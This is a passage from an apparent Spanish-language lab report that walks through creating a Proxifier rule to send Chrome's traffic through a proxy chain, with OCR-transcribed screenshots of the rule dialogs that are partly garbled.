Figura 6.14: Pantalla de aviso para edicién de las reglas de uso de los servidores en Proxifier.

Esta ventana informa sobre que no se han anadido reglas para utilizar los nuevos servidores
proxy anadidos. Es decir, no estan configurados para utilizarse en ninguna aplicaciéon del sistema.
Si no se establecen reglas para los proxy, estos seran inservibles, por lo que se debe pulsar en la
opcién Si para editar las mismas. Es entonces cuando se mostrara el siguiente cuadro:

[ proxification Rules ? =

Rule Name Applications Target Hosts Target Forts Action

DEfEUIt _:Dlrect e

Add... Clone Remove

Rules are processed from top to bottom. Use the arrows at the right to change the
order.

Use check boxes to enable/disable a rule.

0K Cancel
V]

Figura 6.15: Ventana para establecer las reglas de uso de los servidores proxy en Proxifier. (1)
Como se puede observar en la Figura [6.15] aparece resaltada la opcién de Add, puesto que

se va a anadir una nueva regla. Ahora mismo solo existe una por defecto que ni siquiera esta
activada. Al pulsar dicho botén se mostrara lo siguiente:
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Proxification Rule ? X

Name: ‘ Enabled
Applications
Any
Example: iexplore.exe; "C:\some app.exe"; fire®™.exe; =.bin Browse...

Target hosts

Any

Example: 127.0.0.1; *.example.com; 192.168.1.%; 10.1.0.0-10.5.255.255

Target ports

Any

Example: 80; 8000-2000; 3128

Action: e Advanced...

Figura 6.16: Adicion de reglas de uso de los servidores proxy en Proxifier. (1)

En la pantalla mostrada en la Figura [6.16, se pueden observar varios campos que serviran
como parametros de uso de la regla.
En el primero (Name) se introduce un nombre significativo para el uso de la misma, en el segundo
(Applications) se debe incluir la aplicacion en la que se quiere utilizar el servidor Proxy en el
ordenador donde se esté configurando, indicando asi la ruta de la misma en local (el navegador
Chrome para este caso), luego se muestran los campos Target hosts y Target ports en los que
se puede indicar, respectivamente, hosts y puertos especificos que se quieran utilizar para la
conexion (para el presente uso seré innecesario anadir informacion aqui).
Y, por ultimo, se muestra un desplegable junto al campo Action, en el cual se mostraran los
servidores proxy incluidos previamente, y también el nombre del proxy chain. La opcién que
se seleccione sera por la que pase el trafico dirigido a la aplicaciéon senalada, en este caso se
seleccionara el proxy chain que se llamé “proxychain”.

La regla completa se muestra en la Figura 6.1
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Proxification Rule ? X

Name: | Proxychain | [“]Enabled
Applications
chrome.exe
Example: iexplore.exe; "C:\some app.exe"; fire®.exe; *.bin Browse...

Target hosts

Any

Example: 127.0.0.1; *.example.com; 192.168.1.%; 10.1.0.0-10.5.255.255

Target ports

Any

Example: 80; 8000-2000; 3128

Action: | Chain proxychain ~ Advanced...

4

Figura 6.17: Adicién de reglas de uso de los servidores proxy en Proxifier. (2)

Una vez establecidos los pardmetros de la regla, esta apareceréa en la pantalla mostrada en la
Figura tal y como se puede ver a continuacion (Figura [6.18)):

L] proxification Rules ? X
Rule Mame Applications Target Hosts Target Ports Action
Frosen ::hain kel -
Default Any Any Any Direct

Add... Clone Remove

Rules are processed from top to bottom. Use the arrows at the right to change the
order.

Use check boxes to enable/disable a rule.
0K

Cancel

A

Figura 6.18: Ventana para establecer las reglas de uso de los servidores proxy en Proxifier. (2)
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Figura 6.19: Diagrama completo de la comunicacién generada entre todas las partes del laboratorio.
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